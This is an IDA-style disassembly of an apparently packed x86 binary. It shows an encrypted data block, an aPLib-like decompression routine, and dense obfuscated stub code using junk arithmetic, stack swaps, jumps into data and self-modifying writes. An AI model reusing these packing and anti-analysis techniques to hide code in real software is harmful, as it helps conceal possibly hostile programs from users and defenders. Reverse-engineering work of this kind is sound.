		dd 90AC5B22h, 0A1F854C1h, 0D5978747h, 80A8384Fh, 0A46E9FDh
		dd 7EA1306Ah, 169816D3h, 15BFC969h, 68E8E81Dh, 1731D3B9h
		dd 0DEDDC8A6h, 0A7F32297h, 5B6249B7h, 8FB55330h, 42D1A4E2h
		dd 6DBBB0E5h, 967563A0h, 0A6296BB6h, 1EF6F077h,	0ECBECF36h
		dd 0A5B163Fh, 7E5EB0E7h, 0E6E1A19Ch, 2424922Ch,	3348DDABh
		dd 6AAEAC18h, 5A0784ADh, 0E57AED6Dh, 0D9453031h, 0D84F0245h
		dd 77689F7Ah, 56E6F707h, 0A6778FEDh, 4A201ADAh,	0D8A35DEFh
		dd 0AEC65D21h, 0E6C80882h, 0B9F299EBh, 2D09DA4Fh, 3524E96Bh
		dd 276FAFABh, 0BF3F8F6Bh, 8BFFF508h, 0FEC7B678h, 733C632Dh
		dd 0CAA9EBD9h, 121AFDFEh, 0B65D818Dh, 4E281882h, 0BF147D22h
		dd 2B0BA74Dh, 9F6385C3h, 0ACE1AC2Eh, 2AAF3F19h,	0F90B551Eh
		dd 7B679BCEh, 0A5DA9AAEh, 0F6754C52h, 1DF10AA4h, 0ABA9A5BEh
		dd 2BF97E3Ch, 45CC21F0h, 0E1E52E59h, 0BD2D3EBBh, 0C5CBFFA1h
		dd 0D57854C8h, 0A2BDFAA6h, 0A97E1CABh, 0D9879E58h, 8B8E7657h
		dd 64CEE3F0h, 51FB9B7Fh, 7FA2FC9Eh, 0F471442Dh,	0D42004E1h
		dd 5BEF31A5h, 24B4CFECh, 0F866B58h, 0B2727F3Eh,	0D5BB1D68h
		dd 0D68F2E75h, 5BA460CEh, 0DD857643h, 0DCFFB358h, 623E5207h
		dd 8BC2B296h, 0D8ABF1FCh, 76CB578h, 5C927574h, 702E8DF9h
		dd 0AEDA435Ah, 0A1672BB5h, 54C31BBh, 20E2EC18h,	0D82F7FE0h
		dd 8D861195h, 62D6B890h, 0F37899C5h, 0EB34DF15h, 14E8B416h
		dd 0EB1C2D66h, 33A0DD23h, 2D37C7AAh, 5525636h, 7D39217h
		dd 9629024Fh, 0AA1DF7A7h, 238BCD0Bh, 783A75F2h,	0C278ECE0h
		dd 6C7A5FF4h, 0BB1ADEB2h, 0A5E768DFh, 0A7BFED5Bh, 3E02AF19h
		dd 74EA9E23h, 0E27EA429h, 0F2C9D2CFh, 8DE71567h, 0CB18BD13h
		dd 9AED9DD1h, 0A142C334h, 0DD5CDD11h, 4370F9A0h, 61F9909Dh
		dd 5323B897h, 0C22FB97Ch, 0EAAADDA8h, 67C087DDh, 2E28BBE1h
		dd 0F234E3C7h, 878C9D98h, 5A15461Bh, 0AEC65A3Eh, 80E97611h
		dd 5C7FD15Dh, 3FDBF732h, 0EC7B8BCDh, 46A00D9Ah,	31F8F4A3h
		dd 0F605A55Ah, 0EFA73B8Ah, 4F44D7Eh, 0BA474ECBh, 48A54794h
		dd 0D15650EBh, 15AF0B7Fh, 43CD44CCh, 6CF5F1FCh,	6B3FABB2h
		dd 0AD7AA85Fh, 2EF23B6Ah, 3ECC9F9Eh, 0FAC87C2Bh, 0DFDE6CCFh
		dd 0CC13B9F7h, 0F3BCE0ACh, 5FEE5DCCh, 7F13F07Ch, 522DD3E6h
		dd 955BCD4Ah, 0D81EA84Fh, 0BBF345FDh, 0F6A8746Fh, 4E7EACBAh
		dd 3CB61CC7h, 5A61D760h, 36DCC5B0h, 9E161C2Bh, 73965615h
		dd 0BD2EFD6Eh, 0BB7A891Bh, 33312437h, 52ADFBF9h, 98C5FDF7h
		dd 0BE1ED2E8h, 5BE6h, 76C62000h, 1
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_473332	proc near		; DATA XREF: sub_47627E+3Ao

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004734B1 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cld
		push	ebx
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], edx
		mov	esi, eax
		mov	edi, edx
		cmp	word ptr [esi],	434Ah
		jnz	loc_473474
		add	esi, 0Ah
		mov	[ebp+var_C], 8
		xor	ebx, ebx
		mov	edx, 80000000h
		inc	ebx

loc_473363:				; CODE XREF: sub_473332+46j
					; sub_473332+8Dj ...
		xor	eax, eax
		call	sub_47347B
		jnb	short loc_47337A
		mov	ecx, [ebp+var_10]
		call	sub_473493
		add	al, [ebp+var_11]

loc_473377:				; CODE XREF: sub_473332+65j
		stosb
		jmp	short loc_473363
; ---------------------------------------------------------------------------

loc_47337A:				; CODE XREF: sub_473332+38j
		call	sub_47347B
		jb	loc_47341C
		call	sub_47347B
		jnb	short loc_4733E7
		mov	ecx, 4
		call	sub_473493
		dec	eax
		jz	short loc_473377
		jns	loc_473466
		call	sub_47347B
		jnb	short loc_4733C1
		push	ebp

loc_4733A7:				; CODE XREF: sub_473332+8Aj
		mov	ebp, 100h

loc_4733AC:				; CODE XREF: sub_473332+83j
		call	sub_473488
		mov	[edi], al
		inc	edi
		dec	ebp
		jnz	short loc_4733AC
		call	sub_47347B
		jb	short loc_4733A7
		pop	ebp
		jmp	short loc_473363
; ---------------------------------------------------------------------------

loc_4733C1:				; CODE XREF: sub_473332+72j
		mov	ecx, 1
		call	sub_473493
		add	eax, 7
		mov	[ebp+var_10], eax
		mov	[ebp+var_11], 0
		cmp	eax, 8
		jz	short loc_473363
		call	sub_473488
		mov	[ebp+var_11], al
		jmp	loc_473363
; ---------------------------------------------------------------------------

loc_4733E7:				; CODE XREF: sub_473332+58j
		mov	ecx, 7
		call	sub_473493
		push	eax
		mov	ecx, 2
		call	sub_473493
		mov	ecx, eax
		inc	ecx
		inc	ecx
		pop	eax
		or	eax, eax
		jz	short loc_473409
		mov	ebx, eax
		jmp	short loc_473467
; ---------------------------------------------------------------------------

loc_473409:				; CODE XREF: sub_473332+D1j
		cmp	ecx, 2
		jz	short loc_473474
		inc	ecx
		call	sub_473493
		mov	[ebp+var_C], eax
		jmp	loc_473363
; ---------------------------------------------------------------------------

loc_47341C:				; CODE XREF: sub_473332+4Dj
		call	sub_47349F
		dec	ecx
		loop	loc_47342D
		mov	eax, ebx
		call	sub_47349F
		jmp	short loc_473467
; ---------------------------------------------------------------------------

loc_47342D:				; CODE XREF: sub_473332+F0j
		dec	ecx
		mov	eax, ecx
		push	ebp
		mov	ecx, [ebp+var_C]
		mov	ebp, eax
		xor	eax, eax
		shl	ebp, cl
		call	sub_473493
		or	eax, ebp
		pop	ebp
		mov	ebx, eax
		call	sub_47349F
		cmp	eax, 10000h
		jnb	short loc_473464
		cmp	eax, 37FFh
		jnb	short loc_473465
		cmp	eax, 27Fh
		jnb	short loc_473466
		cmp	eax, 7Fh
		ja	short loc_473467
		inc	ecx

loc_473464:				; CODE XREF: sub_473332+11Cj
		inc	ecx

loc_473465:				; CODE XREF: sub_473332+123j
		inc	ecx

loc_473466:				; CODE XREF: sub_473332+67j
					; sub_473332+12Aj
		inc	ecx

loc_473467:				; CODE XREF: sub_473332+D5j
					; sub_473332+F9j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_473363
; ---------------------------------------------------------------------------

loc_473474:				; CODE XREF: sub_473332+19j
					; sub_473332+DAj
		mov	eax, esi
		pop	esi
		pop	edi
		pop	ebx
		jmp	short loc_4734B1
sub_473332	endp


; =============== S U B	R O U T	I N E =======================================



sub_47347B	proc near		; CODE XREF: sub_473332+33p
					; sub_473332:loc_47337Ap ...
		add	edx, edx
		jnz	short locret_473487
		mov	edx, [esi]
		add	esi, 4
		stc
		adc	edx, edx

locret_473487:				; CODE XREF: sub_47347B+2j
		retn
sub_47347B	endp


; =============== S U B	R O U T	I N E =======================================



sub_473488	proc near		; CODE XREF: sub_473332:loc_4733ACp
					; sub_473332+A8p
		mov	ecx, 8
		call	sub_473493
		retn
sub_473488	endp


; =============== S U B	R O U T	I N E =======================================



sub_473493	proc near		; CODE XREF: sub_473332+3Dp
					; sub_473332+5Fp ...
		xor	eax, eax

loc_473495:				; CODE XREF: sub_473493+9j
		call	sub_47347B
		adc	eax, eax
		loop	loc_473495
		retn
sub_473493	endp


; =============== S U B	R O U T	I N E =======================================



sub_47349F	proc near		; CODE XREF: sub_473332:loc_47341Cp
					; sub_473332+F4p ...
		xor	ecx, ecx
		inc	ecx

loc_4734A2:				; CODE XREF: sub_47349F+Fj
		call	sub_47347B
		adc	ecx, ecx
		call	sub_47347B
		jb	short loc_4734A2
		retn
sub_47349F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473332

loc_4734B1:				; CODE XREF: sub_473332+147j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_473332
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_4734B6	proc near		; DATA XREF: sub_4749EA+13A8o
					; sub_476278o ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00475F11 SIZE 00000022 BYTES

		push	ebx
		mov	ebx, offset loc_4755A4
		jmp	loc_475F11
sub_4734B6	endp

; ---------------------------------------------------------------------------
		db 2 dup(0), 68h	; CODE XREF: isk1wxzg:00474766j
		dd offset dword_474838
; ---------------------------------------------------------------------------
		jmp	loc_474B7E
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_4734CE	proc near		; CODE XREF: sub_475BF0-14F1p

; FUNCTION CHUNK AT 0047417D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004741DC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004745C0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004757D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475E80 SIZE 00000014 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	esi, [esi]
		pushf
		jmp	loc_4757D3
sub_4734CE	endp

; ---------------------------------------------------------------------------

loc_4734DA:				; CODE XREF: isk1wxzg:00474CA9j
		mov	byte ptr [eax],	3
		pop	eax
		pop	edx
		xor	edx, 6D7D3AE0h
		push	offset loc_473ED4
		jmp	locret_47517E
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		jmp	locret_474EA3
; ---------------------------------------------------------------------------
		mov	byte ptr [eax],	0FCh
		pop	eax
		push	ecx
		push	offset loc_474011
		jmp	locret_473E1D
; ---------------------------------------------------------------------------
		dd 0C300h, 128E9h, 850F4900h, 1E44h, 0E9D18B52h, 1EE2h
					; CODE XREF: sub_4757B6-DE4j
		dd 0C009008Bh, 7850Fh, 9BE90000h, 8, 0C300h, 5CAE9h, 8B570000h
		dd 1353E9FDh, 0F000000h, 0EA87h, 24048700h, 0CA8B5158h
		dd 1E20E9h, 87000000h, 565B241Ch, 475B34BEh, 2124E900h
		dd 0E9990000h, 0EA4h, 0C60000h,	8B555887h, 242C87EBh, 475F49BBh
		dd 155FE900h, 0D9590000h, 0F38B241Ch, 0CF52685Bh, 815808F8h
		dd 618B3CE0h, 1D89E94Eh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474DF6

loc_473598:				; CODE XREF: sub_474DF6:loc_474E95j
		add	edi, ebp
		add	edi, 94A84ECFh
		mov	edi, [edi]
		popf
		xchg	edi, [esp-4+arg_0]
		call	eax

loc_4735A8:				; CODE XREF: isk1wxzg:00473F11j
		mov	dword ptr [ebp-4], 1
		push	0B1E44542h
		jmp	loc_47600C
; END OF FUNCTION CHUNK	FOR sub_474DF6
; ---------------------------------------------------------------------------
		db 2 dup(0), 51h	; CODE XREF: sub_474419:loc_474F6Cj
; ---------------------------------------------------------------------------
		pop	eax
		xchg	eax, [esp]
		push	ecx
		push	740A2C23h
		jmp	loc_474A38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474524

loc_4735CB:				; CODE XREF: sub_474524+6j
		mov	byte ptr [ebx],	87h
		pop	ebx
		or	ecx, 14E7A68h
		add	ecx, 0AA68B9E7h

loc_4735DB:				; DATA XREF: sub_474524+1o
		xchg	ecx, [esp+0]
		jmp	loc_475FDE
; END OF FUNCTION CHUNK	FOR sub_474524
; ---------------------------------------------------------------------------
		db 68h
		dd 6B9BD7A2h, 0E9243C87h, 0FFFFFF18h, 0EEC10000h, 240C870Ah
		dd 0E8108B59h, 0AAFh, 1C21E900h, 0E9000000h, 1429h, 0E90EE1C1h
		dd 14A9h, 0E9F31300h, 0FFFFFFD6h, 0E0E8D0Fh, 28E90000h
		dd 81000009h, 0F85908E3h, 0E9DF3B0Ah, 20E0h, 5FC78B00h
		dd 811AC0C1h, 0CDD13CC0h, 1CE08148h, 8151519Fh,	0F41D59C0h
		dd 0FC009AFh, 0FFFF5384h, 9CFE9FFh, 0D9810000h,	84D1E03Bh
		dd 0E76E9h, 2AE80000h, 0E900001Fh, 0FFFFFF38h, 240C8700h
		dd 8B241487h, 0C875ACAh, 0E9D02924h, 0FFFFFFE7h, 0F58B5600h
		dd 18D5E9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_47368D	proc near		; CODE XREF: sub_473CB1+4F8p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004741BB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0047443D SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	ebx, 0B513A587h
		jmp	loc_47443D
sub_47368D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_47369C:				; CODE XREF: isk1wxzg:loc_475578j
		xchg	ebp, [esp]
		mov	ebx, ebp
		pop	ebp
		or	ebx, 8E6CC54h
		add	ebx, 0D64F66E4h
		out	dx, al
		sbb	al, 24h
		jmp	near ptr dword_473504+32h
; ---------------------------------------------------------------------------
		db    0
		db    0
		db  56h	; V
		db 0E9h	; é
		db  46h	; F
		db  17h
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_4736C0:				; CODE XREF: isk1wxzg:00473E58j
		xchg	ecx, [esp]
		pop	ecx
		push	50B6BD40h
		xchg	eax, [esp]
		jmp	loc_473CE9
; ---------------------------------------------------------------------------
		db 2 dup(0), 68h
		dd 0BA03CB1Dh, 9FEB815Bh, 0F068531h, 21F783h, 23000000h
		dd 21ECE9CBh, 77680000h, 0E900475Ah, 401h, 15E18159h, 81B30307h
		dd 1246F3C9h, 0D3C181F5h, 3B42B22h, 1580E9CDh, 0
; ---------------------------------------------------------------------------
		xchg	ebx, ecx
		mov	[ecx], edi
		jmp	loc_474C1C

; =============== S U B	R O U T	I N E =======================================



sub_47371D	proc near		; CODE XREF: sub_4741CE:loc_475AE4p

; FUNCTION CHUNK AT 00473773 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00474D90 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00475609 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		jmp	loc_475609
sub_47371D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0E800h		; CODE XREF: sub_4741CE:loc_475A5Aj
		dd 1CE1h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_288. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

loc_473730:				; DATA XREF: sub_474BAE:loc_473EC8o
		xchg	edx, [esp]
		push	edx
		pop	ecx
		push	esi
		mov	esi, ebx
		xchg	esi, [esp]
		jmp	loc_475FD7
; ---------------------------------------------------------------------------
		dd 8A0F0000h, 70Ah, 5A241487h, 0D5727268h, 0E18159C5h
		dd 205B81FDh, 0F7AE9h, 0C3000000h, 800F0000h, 2691h, 76D5CA81h
		dd 0C4E91B7Bh
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47371D

loc_473773:				; CODE XREF: sub_47371D+1690j
		call	loc_474155
; END OF FUNCTION CHUNK	FOR sub_47371D
; ---------------------------------------------------------------------------
		dd 70E90000h, 0FFFFFDh,	0D3820F00h, 0E9FFFFFEh,	1FCAh
					; CODE XREF: isk1wxzg:00473B99j
		dd 0CD220000h, 3B63C181h, 98B7294h, 1909E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_47379E:				; CODE XREF: isk1wxzg:00475904j
		jmp	near ptr dword_4735E4+82h
; ---------------------------------------------------------------------------
		align 4
		db 0
byte_4737A5	db 0E8h, 0A5h, 25h	; DATA XREF: sub_474EC1+Ao
		dd 0
; ---------------------------------------------------------------------------
		push	1DB53AC5h
		xchg	esi, [esp]
		mov	ebx, esi
		pop	esi
		or	ebx, 2A3E06Dh
		jmp	loc_4742D5
; ---------------------------------------------------------------------------
		pushf
		push	26CEB896h
		pop	edi
		rol	edi, 4
		or	edi, 0ECDC725h
		jmp	loc_474315
; ---------------------------------------------------------------------------
		db 0C6h
		dd 685FC107h, 475C1Eh, 989E9h, 24148700h, 0DC689C51h, 0E9004742h
		dd 1C6Ch, 8E0F0000h, 1BD7h, 6D7DCE81h, 0FCE9F711h, 0F000006h
		dd 19DB82h, 1B03E900h, 0
; ---------------------------------------------------------------------------
		sub	ebx, 2B408436h
		jmp	loc_4745E8
; ---------------------------------------------------------------------------
		xchg	esi, [esp]
		pop	esi
		add	eax, 0EC7F1453h
		popf
		xchg	eax, [esp]
		jmp	loc_4746F6
; ---------------------------------------------------------------------------
		sub	edi, 7F155135h
		jmp	loc_473C1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474BAE

loc_47383D:				; CODE XREF: sub_474BAE:loc_4751D3j
		xor	ebx, 0D213B0AEh
		push	offset dword_475BB0
		jmp	nullsub_289
; END OF FUNCTION CHUNK	FOR sub_474BAE
; ---------------------------------------------------------------------------
		align 2
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_473850:				; CODE XREF: isk1wxzg:004750E5j
		jmp	locret_473E73
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 1721h, 0D6330000h, 87243C87h, 0FB8B241Ch, 2717E9h, 0E9C30000h
		dd 6DCh, 0B4FE6800h, 1CF969A9h,	5BC38B24h, 843AC881h, 7FE81158h
		dd 0Eh,	0FD02900h, 23184h, 0FFFF6A00h, 44F0C015h, 4BEE800h
		dd 0
; ---------------------------------------------------------------------------

loc_4738A4:				; CODE XREF: isk1wxzg:00475C10j
		jmp	loc_4752A9
; ---------------------------------------------------------------------------
		jmp	loc_474AE2
; ---------------------------------------------------------------------------
		align 10h
		dd 15E840Fh, 0
; ---------------------------------------------------------------------------
		sbb	eax, ecx
		jb	loc_474966
		jz	loc_473C78
		sbb	ecx, 82AE159Ch
		jmp	loc_473A14
; ---------------------------------------------------------------------------
		not	ebx
		jmp	loc_475610
; ---------------------------------------------------------------------------
		dd 24148700h, 54C2815Ah, 3737BC93h, 3AEE9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_4738E9	proc near		; CODE XREF: isk1wxzg:00474DD4p
					; isk1wxzg:004751CCj

; FUNCTION CHUNK AT 00473FBA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00474EAB SIZE 00000015 BYTES

		xchg	ebx, [esp+0]
		xchg	edx, [esp+0]
		mov	ebx, edx
		pop	edx
		push	edi
		mov	edi, esi
		xchg	edi, [esp+0]
		jmp	loc_473FBA
sub_4738E9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		cmp	al, 24h
		pop	edi
		push	eax
		push	5520851Ch
		pop	eax
		jmp	loc_47480E
; ---------------------------------------------------------------------------
		add	eax, 7C1C0E3Fh
		rol	eax, 12h
		push	ecx
		push	8CF0E4AAh
		pop	ecx
		jmp	loc_475B10
; ---------------------------------------------------------------------------
dword_473924	dd 0ACB1C281h, 128B3332h, 0A43C2AF6h, 1346850Fh, 36E80000h
					; DATA XREF: sub_4757DA+8o
		dd 13h,	11C3E900h, 0
		dd 24048758h, 0FDFAE851h, 0FFFFh, 0D8CE9h, 56216800h, 34E90047h
		dd 1Bh,	0E915E0C1h, 216Dh, 0BB870F00h, 0E900000Eh, 1A19h
		db 0
; ---------------------------------------------------------------------------

locret_473975:				; CODE XREF: isk1wxzg:loc_4745AFj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47580E

loc_473976:				; CODE XREF: sub_47580E-3B8j
		jmp	loc_475DED
; END OF FUNCTION CHUNK	FOR sub_47580E
; ---------------------------------------------------------------------------
		align 4
		jmp	locret_475F5F
; ---------------------------------------------------------------------------

loc_473981:				; CODE XREF: isk1wxzg:loc_473C2Cj
		jmp	loc_4750BA
; ---------------------------------------------------------------------------
		align 4

loc_473988:				; DATA XREF: isk1wxzg:loc_473AC6o
		lea	eax, nullsub_385
		mov	byte ptr [eax],	0C3h
		retn
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_401. PRESS KEYPAD	"+" TO EXPAND]
		db 63h,	0D1h, 0A6h
		dd 17CEE9F2h, 8E0F0000h, 0AEFh,	155DE9h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_290. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		dd 1BCCE900h, 0
; ---------------------------------------------------------------------------
		pushf
		jle	loc_475DCD
		jmp	loc_474928
; ---------------------------------------------------------------------------
		dd 35D1C181h, 0F18144D0h, 317B0941h, 402EE981h,	0EA687CCEh
		dd 0E900473Bh, 0FFFFFC2Bh
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_286. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
		dd 16E800h, 8D0F0000h, 0FFFFFB0Dh, 59240C87h, 67EB815Bh
					; CODE XREF: sub_475633+Dp
					; DATA XREF: isk1wxzg:00473A53o ...
		dd 0E9A0EFA7h, 0AF1h, 58240487h, 2FF880Fh, 830F0000h, 0FFFFFC79h
		dd 0E9DD8B53h, 1000h
; ---------------------------------------------------------------------------

loc_473A14:				; CODE XREF: isk1wxzg:004738CCj
					; isk1wxzg:loc_4756A3j
		sub	ecx, 0B88B31A4h
		or	ecx, 0CDBFA36Eh
		add	ecx, 20401016h
		call	sub_473EE5

locret_473A2B:				; CODE XREF: isk1wxzg:loc_474A73j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473CB1

loc_473A2C:				; CODE XREF: sub_473CB1:loc_4754E0j
		mov	byte ptr [edx],	8Ah
		xchg	ebx, [esp+4+var_4]
		mov	edx, ebx
		pop	ebx
		push	eax
		push	762A4821h
		pop	eax
		and	eax, 0D1D9613Fh
		jmp	loc_475540
; END OF FUNCTION CHUNK	FOR sub_473CB1
; ---------------------------------------------------------------------------
		xchg	eax, [esp]
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx
		xchg	edi, [esp]
		lea	eax, dword_4739E0+1
		call	sub_474997

loc_473A5E:				; CODE XREF: isk1wxzg:loc_474B8Cj
		push	(offset	loc_4759BE+1)
		jmp	locret_4755E6
; ---------------------------------------------------------------------------
		dd 850F0000h, 1BBh, 0FFFDBDE9h,	6D6800FFh, 5A41E8F8h, 5F65EA81h
		dd 8968D2DDh, 0E900474Ah, 9AFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744DB

loc_473A8C:				; CODE XREF: sub_4744DB:loc_4754DAj
		pop	esi
		sub	esi, 9330034Bh
		add	esi, 0AFFDBB56h
		jmp	loc_474BE6
; END OF FUNCTION CHUNK	FOR sub_4744DB
; ---------------------------------------------------------------------------
		align 10h
		dd 8057FA81h, 0B7E9924Fh, 0FFFFFFCh, 87382h, 22ECE900h
		dd 87000000h, 0FF582404h, 44F0C015h, 2532E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_473AC6:				; CODE XREF: isk1wxzg:00473C90j
		push	offset loc_473988
		jmp	loc_4745AF
; ---------------------------------------------------------------------------
		dd 0E93B0000h, 1317E9h,	0C60000h, 0C3C1588Bh, 8CC3810Dh
		dd 0E8FE1A59h, 2015h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474EC1

loc_473AEE:				; CODE XREF: sub_474EC1+Fj
		jmp	nullsub_287
; END OF FUNCTION CHUNK	FOR sub_474EC1
; ---------------------------------------------------------------------------
		jmp	locret_4753A4
; ---------------------------------------------------------------------------
		dd 1F77E900h, 87000000h, 0D88B2404h, 4875A58h, 58E88B24h
		dd 1075E9h, 87000000h, 0FF5B241Ch, 44F0C015h, 41926800h
		dd 62E90047h, 8B000006h, 0B96858D0h, 0E9004746h, 1A43h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475B43

loc_473B34:				; CODE XREF: sub_475B43:loc_4759D0j
		push	offset byte_4744BD
		jmp	nullsub_383
; END OF FUNCTION CHUNK	FOR sub_475B43
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_400. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47580E

loc_473B40:				; CODE XREF: sub_47580E+5EBj
		jmp	loc_475FBC
; END OF FUNCTION CHUNK	FOR sub_47580E
; ---------------------------------------------------------------------------
		align 2

loc_473B46:				; CODE XREF: isk1wxzg:00475976j
		jmp	loc_47597E
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474419

loc_473B4D:				; CODE XREF: sub_474419:loc_4754C5j
		xor	edx, 8C9FC5E9h
		call	sub_474FD4
		add	[ecx-17h], dl
		insd
		or	eax, 0

loc_473B61:				; CODE XREF: isk1wxzg:0047597Fj
		mov	ecx, ebp
		push	esi
		mov	esi, offset loc_473D82
		jmp	loc_474106
; END OF FUNCTION CHUNK	FOR sub_474419
; ---------------------------------------------------------------------------
		dw 9D00h
		dd 85E9EB33h, 0FFFFFEh,	0E98B0F00h, 0E9000020h,	1D9h, 87243487h
		dd 0F58B242Ch, 0E957515Dh, 12CBh
; ---------------------------------------------------------------------------

loc_473B94:				; CODE XREF: isk1wxzg:loc_474D02j
		push	47356Ah
		jmp	near ptr dword_473778+2
; ---------------------------------------------------------------------------
		align 10h

locret_473BA0:				; CODE XREF: isk1wxzg:00473F56j
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 31h, 0FCh
		db 2 dup(0FFh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_379. PRESS KEYPAD	"+" TO EXPAND]
		align 4

loc_473BA8:				; CODE XREF: isk1wxzg:00475217j
		xchg	eax, [esp]
		pop	eax
		mov	byte ptr [ebx],	8Bh
		pop	ebx
		xor	esi, 0C7CF55E6h
		add	esi, 4B1618E6h
		push	eax
		jmp	near ptr word_47508A+1
; ---------------------------------------------------------------------------
		dw 0F50h
		dd 3DF8Ah, 4C6E900h, 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_289. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47420E

loc_473BD1:				; CODE XREF: sub_47420E:loc_474DD9j
		xchg	edi, [esp+4+var_4]
		mov	eax, edi
		pop	edi
		sub	eax, 0AF43BFFCh
		cmp	eax, 97077E4Bh
		jmp	near ptr dword_4735E4+38h
; END OF FUNCTION CHUNK	FOR sub_47420E
; ---------------------------------------------------------------------------

locret_473BE8:				; CODE XREF: isk1wxzg:loc_474B7Ej
		retn
; ---------------------------------------------------------------------------
		align 2
		add	ecx, 137B1D96h
		xchg	ecx, [esp]
		jmp	nullsub_384
; ---------------------------------------------------------------------------
		dd 0B4680000h, 580EEF42h, 1746F081h, 0B9E9AD09h, 5E00001Fh
		dd 879C02C6h, 0D08B2404h, 0FD93E958h, 0FFFFh
; ---------------------------------------------------------------------------

loc_473C1C:				; CODE XREF: isk1wxzg:00473838j
		pop	esi
		xchg	esi, eax
		jg	loc_475F6F
		adc	ebx, 2A187023h
		push	eax

loc_473C2C:				; CODE XREF: isk1wxzg:0047534Cj
		jmp	loc_473981
; ---------------------------------------------------------------------------
		db 2 dup(0), 33h
		dd 0FAE3E9EEh, 0FFFFh, 862CCB81h, 0C3F72C58h, 80h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474BAE

loc_473C48:				; CODE XREF: sub_474BAE:loc_473EC1j
		jmp	loc_4751D3
; END OF FUNCTION CHUNK	FOR sub_474BAE
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_473C4E	proc near		; DATA XREF: sub_474370+4o

; FUNCTION CHUNK AT 00473E40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00473E47 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00474852 SIZE 00000005 BYTES

		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_473E47
		jmp	loc_474852
sub_473C4E	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 8A810F00h, 0E9000015h, 0FFFFFC93h, 0F98B5700h, 68243C87h
		dd 47410Bh
; ---------------------------------------------------------------------------

loc_473C78:				; CODE XREF: isk1wxzg:004738C0j
		jmp	loc_473CDB
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E8h
		dd 1D2Eh, 0F93E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_473C8A:				; CODE XREF: isk1wxzg:00475B1Cj
		jl	loc_473F09
		jmp	loc_473AC6
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
